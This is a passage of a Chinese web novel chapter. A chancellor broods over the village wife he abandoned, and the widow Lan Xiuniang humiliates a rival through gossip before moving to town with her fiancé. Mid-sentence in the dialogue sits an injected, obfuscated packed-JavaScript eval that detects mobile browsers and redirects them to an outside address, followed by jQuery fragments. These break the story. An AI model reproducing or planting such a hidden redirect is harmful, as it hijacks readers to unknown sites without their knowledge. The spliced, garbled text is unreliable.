见大人出来,敬言牵马迎了上去,忽的发现大人头上、身上都湿了,肩膀上还挂着一抹绿色之物,细看疑似菜叶,他愤怒的喊道:“大人这是谁干的!”
被谁泼了脏水!谁有这么大胆子!
想来想去,好像也只有那个乡野村妇敢这么对大人了,大人在外面坐了一晚上,等来的就是一盆脏水,大人可是高高在上的丞相啊,哪个女人被大人这样对待,都要感动哭了,这个女人忒也不识好歹,敬言心脏气的抽疼。
梅清臣只摇了摇头,眼下隐隐现出乌青与疲倦,毫不关心身上的狼狈。
他此刻如同圣洁的月华被乌云掩藏,这种神情敬言很少看见过,出现就意味着事情非常棘手。
看来那妇人是不愿回到大人身边,真够野蛮难驯的。
两人回了歇脚的客栈。
“大人昨日一夜未眠,不若先去歇息吧。”
梅清臣从屏风后走出来,他已沐浴,换了一身雪白宽松大袖衫,他坐在圈椅上,向后靠着,单手支撑头部,眼眉低垂,长睫投下来一小片阴影,微微下拉的唇角现出惆怅之态,他的衣裳堆叠如云,宛如一副图画。
敬言觉得,大人随君上最艰难那会,也不曾这般惆怅。
“大人还对那妇人有情?”敬言不动声色的为他端过去一杯刚泡好的茶,水和茶都是他从京城带来的,小小的青山县是买不到这么好的茶,也寻不到这样好的水。
梅清臣单手接过茶盏,握在手里,望着淡雅的茶色,眼前飘过一双冷漠的眸。
“七年了,什么情感也会被时间消磨。”他淡声道。
敬言却心似明镜,这些年,大人孤身一人,这般智慧才貌,为人处世,多少权贵想将女儿嫁给大人,可大人从来都只有一句,他已有家室。
这还是他头一回见大人这样卑躬屈膝去求一个女人。
即便是大人对那妇人没有情,也有相当深的执念,现在却说什么消磨了,鬼才信。
“那小公子呢,大人的血脉,难道也要留在这穷乡僻壤间?”
梅清臣眼底下荡过一片流光,似叹息般道:“当年是我不告而别,我连他的存在都不知道,她恨我是有缘故的。”
“大人也是身不由己。”
“我本就有愧于她,若再夺她子,岂不是罪加一等。我倒并非在意她再嫁一事,夫妻一场,我只想让她好过些,也算还了她的救命恩情。政务繁忙,我不能再待下去,等她成亲,我会为她送上一份大礼。”
敬言听到了心里,这意味着,他必须要在那妇人再嫁那天及之前的日子,让大人破了这个执念——让大人得到这个妇人
梅清臣眼角瞥到了若有所思的敬言,抬手饮尽杯中茶水。
“亡夫”离开后,兰秀娘扛起墙边的锄头,按例去地里锄草,马上要搬去城里,她还有些舍不得家里这两亩三分地了。
她以前从未下过地,小时候娘倒是耕种过,娘走了之后,爹行医没空,便雇人来种,后来没钱了,兰秀娘不得不自己耕种,这片土地养活了她跟希狗,还有希狗上学堂的束脩,当然,这些是远远不够的,新朝建立前田税严重,再加上天灾人祸,有时甚至颗粒无收。
好在是父母遗留,再加上她发过一笔横财,还有董士成的帮助,希狗才能上得起学堂,他们的日子也安稳下来。
事发后她头回去地里,发现自家地里的稻子长势良好,才知道是董士成一直默默给她照顾田地。
她给他送去钱,算请他做工了,可他无论如何都不要,还偏偏硬要帮她种,她也管不了。
天下大乱,他们县来了个恶霸,县衙都得听他的,见她孤儿寡母的,命人强收了她的地,兰秀娘抄着家伙就往地里跑,去了发现董士成光着膀子,浑身冒血,握着一把钢叉,嘶吼着,与七八个汉子对峙,硬是没让那些人靠近她家的地,之后便不了了之。
她气坏了,上前对着董士成大吼:“你这个傻子,谁让你为我拼命的,你以为你这样我就会跟你了,你就死了这条心吧!”
浑身冒血的傻子问为什么。
兰秀娘狠心道:“因为你没有钱,我要让我娃上县里的学堂,束脩还有笔墨钱,不是你这个空有一身蛮力的庄稼汉能负担的起的。”
“是不是只要我有了钱,你才会嫁给我。”
“那等你有了钱再说吧。”
之后她便没有再看见他,村里也没人知道他做什么去了,直到一年前,他拿着五十两找到她,不由分说的就塞给她,说他准备开了个肉铺,在城里买了房子,有能力供希狗上学了。
也不知道他怎么做到的。
反正后来兰秀娘被他感动到了,答应嫁给他。
一路回想着,兰秀娘走到了村南头,出了这里一片广阔的山谷,就是他们村的田了。
这里也是许多村妇聚集说话的地方,大家给丈夫送完饭菜,常聚在这里聊家常。
一开始,兰秀娘极厌恶这些嚼舌根的人,后来,为了练就吵架的本事,兰秀娘主动加入她们,并且收获了一波姐妹,这些人就是不管你说什么,都会死心塌地的站你这边,有了这群人,兰秀娘吵架就没输过,她逐渐尝到嚼舌根的乐趣。
“秀娘来了,锄草去啊。”
“瞧秀娘娃都这么大了,这小腰还那么细,乍一看就跟十八似得。”
兰秀娘放下锄头,将耳边碎发绕到耳后,甜笑着迎上去:“哎呦,宋姐,你比我大几岁,你忘了咱俩上次一块去县城,有人还以为你是我妹妹,我要是十八,你就是豆蔻少女。”
“秀娘你这嘴可真巧,啥叫豆蔻少女呀。”
兰秀娘刚要解释,那边两三人突然有人说话,明显故意冲着她来的。
“就是她,把孩子送到县学去了呢。”
这种情况呢,当然不能对号入座,兰秀娘仍与面前的宋姐、八婶聊的欢快。
那边加大了声音。
“有的人就是不自量力,我们家的孩子都没说要送到县里上学,她一个寡妇,非要学人家城里人,送娃上学,上学可贵了,就是用的大黄纸,一刀也要一百文,她哪来的钱。”
“你忘了,她之前不是出去了大半年,在……”
沉住气,只要对方不提她名字,就要装作不知道,保持淡定,并以其人之道还治其人之身。
这也需要非常强大的八卦储备。
兰秀娘这么多年在村南口圈子不是白混的,她开了口。
“姐妹们,我上次遇到花姑,她说咱们村里有人家招上不干净的东西了,就在咱村东头河边那几户之中。”
“这可是大事,快说说。”七嘴八舌突然安静,瞬间将兰秀娘围在了中间。
那边两三个也安静下来,支着耳朵往这边听。
“那户家里有一棵柳树,柳木属阴,最容易招些不干不净的东西了。”
村东那几户,只有一家种了柳树,也正是刚才隐晦攻击兰秀娘的主谋、她的死对头布三妹,她男人这两年在城里谋了个好职位,一下跃升他们村首富,布三妹也跟着牛气起来,看谁都要说两句。
布三妹可没多少耐心,只听了这些,脸色就变得难堪,扭着腰走了过来,指着兰秀娘怒道:“你说谁家有不干净的东西了!”
兰秀娘没理会她,她面前有更多蠢蠢欲动的八卦听众,不断催促她讲下去。
“什么不干净的东西哦,花姑还说什么了,秀娘快说。”
“对,我当时也这样催花姑讲,但花姑就突然跟变了个人似得,睡着了一般,声音都不像她的了,像……被人上身了一样。”兰秀娘模仿着花姑的状态,惟妙惟肖,一群人听得聚精会神,还要品评两句。
“没错,花姑这样就是请上神了。”
兰秀娘瞥了眼同样被提起兴趣的布三妹,眼中闪过狡黠的光:“花姑说,‘本座是修炼四百九十九年的柳妖,还差一个男人给本座采纳,本座就能修炼成仙了,本座赠你这条红色的汗巾子,你来服侍本座渡过此劫。’”
大家听了,议论纷纷起来,七嘴八舌的。
只有布三妹的脸色变成了猪肝色,因为那条红色汗巾子,她男人最近真得了一条,而且,身上还有了香粉味,对她也越发敷衍了事,她闹都不顶事了。
她怎么知道的,莫非她看到了她男人的姘头?
“这种情况我听说过,被妖精选中的人,是要精尽人亡的。”
“花姑可有破解之法?”
兰秀娘十分满意布三妹的表情,她故意笑而不语,就是不说。
布三妹果然忍不住了,讨好的对她笑了笑,还往她怀里塞了几个甜梨,“我有个朋友,家里也这种情况,秀娘,你最好了,告诉我花姑如何破解的啊。”
“真想知道?”兰秀娘摸了摸怀里的几只梨,上下打量她几眼。
布三妹立马又去坐的地方提了篮子过来,里面是她今日拿来炫耀的糕点,她将整个篮子都塞在了兰秀娘手里,“对,我那个朋友……很想知道。”
“附耳过来。”
兰秀娘对她示意。
布三妹真凑过来了一只耳朵。
兰秀娘说完,布三妹整个人如同点着的炮仗一般跑走了。
她一走,刚才附和的众人都嬉笑起来:“秀娘,你刚才跟她说的什么?”
“是啊,她这回可真气的不轻啊哈哈哈。”
兰秀娘将手里的糕点果子分给大家,不疾不徐道:“我给她说,她如果现在去风月楼,说不定能看到她相公正被柳妖吸阳气呢。”
她说完,众人哈哈大笑。
早先兰秀娘有次送希狗上学时,碰巧看到布三妹家的男人逛窑子,就等这个时机将她一军。
大家也都明白过来,直夸兰秀娘聪明。
“就该这么整她,这布三妹,成日胡说八道,她当年难产,还是秀娘她爹给救回来的呢,现在看秀娘过好了,就眼红你。”
“就是,她有钱也让她儿去上学去啊,还不是人家先生不要那么笨的,男人嫖了吧,该!”
“我早看不惯她了,上次往我们家泼脏水,说我们家影响他家风水
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533278|186433||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了。”
“对了,我们何不跟过去瞧瞧,岂不是一场好戏。”
“好主意,快些去!”
“秀娘走啊。”
兰秀娘看她们一溜烟跑了,摆手拒绝:“我还得去地里看看,你们去吧,回来给我讲讲就行。”
“行。”
兰秀娘继续往自家地走去,庄稼长势良好,她的目光落在上面,眼前忽的闪过一些片段。
少女强行拉着青年来到这片田地,青年不知所谓,问少女做什么,少女什么都没说,眼中冒光,不由分说就将青年扑倒在地里,上下其手。
两个身影在这片金色地里翻滚起伏,混着汗水与娇啼。
“不行!这里不行!”青年的声音里满是克制。
“怎么不行嘛,别人家都这样的。”
“嗯……于礼不合,不行!”
喘息声越发急促。
女人是她,男人是……那次终究没成,她被强制穿上衣裳,裹住了被男人夹带回去。
“呸!”
兰秀娘及时止住久远的回忆,一锄头砸在面前那片地上。
果然是饱暖思淫欲。
她看了眼锄头,又觉得不对劲,提起来一看,本来已经松动了地方现在十分结实,仔细看看,里面打进去了一片木楔。
大概是董士成上次来家里,帮她修好的吧。
三日后,是兰秀娘与董士成约定好的日子。
他来接她,一起去城里准备成亲事宜。
董士成赶了辆牛车来。
希狗从里面探出头来,兴奋的喊她:“娘,我下学时董爹爹接我回来的。”
兰秀娘迎了过去,摸了把希狗的头,还没成亲呢,这孩子改口倒是快:“去,把自己的东西简单收拾收拾,我们一会就走。”
“好!”
希狗跑进屋里。
兰秀娘勾了勾鬓角的碎发,抬头向董士成望去。
“秀娘。”
董士成轻声呼唤,慢慢走向她,浓烈炙热的眼神看的她心头狂跳。
董士成身长八尺,威武雄壮,薄薄的黑袍勾勒出他结实的胸膛、孔武有力的臂膀,自从他开了肉铺,给他家提亲的把门槛都踏破了,可他偏偏只要她。
“东西我都收拾好了,你搬去吧。”
“好嘞。”
得到命令,董士成抬手脱了上衣,打了赤膊,就去搬东西去了。
她与那些未婚的姑娘不同,因为经历过人事,更懂得董士成的价值。
以前她偏爱小白脸,现在更欣赏董士成这样壮硕的汉子。
斑驳的阳光透过树的缝隙洒落下来,落在董士成光裸的背上,他黑的很匀称,搬东西时后背肌肉绷紧,宽厚肩膀块块分明,往下急速变窄,直到收在腰带中。
兰秀娘脸上热热的,赶忙移开眼睛,她只不过是一介村妇,还是孤寡了这么多年的村妇,以前她怎么没发现这庄稼汉的好。
董士成在城里买的是热闹街市二层带院小楼,一楼是肉铺,二楼是住的地方。
这里离希狗上学的地方近很多,能省半个时辰。
兰秀娘看着布置精美的新房,全新大红绣鸳鸯的被子、枕套,全新的家具,各处喜字、红绸等,她双目一热,很难想到他一个大老粗筹备的这般细致,董士成对她的心是万分的真,有时候她都觉得配不上他的深情。
见她眼眶一红,董士成连忙询问:“怎么了,可是哪里不满意,我立马改。”
他这一说,兰秀娘的眼泪就流了下来,模样可怜兮兮的。
她一哭,董士成着急不已,额头上沁出豆大的汗珠,情急之下顾不得规矩,张臂轻轻环住她安抚:“别哭啊,秀娘,我是个粗汉子,也没哄过姑娘,你告诉我我该做什么,我一定想办法做好。”
“不,你已经做得很好了,士成,我兰秀娘何其有幸,能遇上你这样的人,我不再年轻,又带着孩子,你明明可以选择更好的……”
兰秀娘说着,伸手环上他强劲有力的腰身,他果然像看起来那样结实。
董士成因她的主动变得僵硬,他的声音都变的微微沙哑:“你在我心里一直是最好的,秀娘,我……”
他突然说不出话来了,因为他腰间那双小手,竟然掐了掐他的腰,一股酸麻直往下冲,董士成怕她感受到异常,连忙后退一步,与她拉开距离。
他倒不怕她,却怕自己控制不住,他永远不会知道他对她的感情有多炙热。
兰秀娘刚才心神一荡,既忘了感动的事,也忘了管住自己的手,等掐完了她才觉得不对,见他推开自己,面子上过不去,连忙解释:“我给你做了身衣裳,之前也没量过,刚才我比划了下,觉得差不多,我拿来给你试试吧。”
兰秀娘赶忙转身去扒她的包袱,掩藏她过分红润的面颊。
兰秀娘啊兰秀娘,九年过去了,你怎么还是这么急不可耐,没一点长进呢。
手里摸到一串冰凉的物什,她又道:“还有这个桃木雕的手串,上次在集上给你买的。”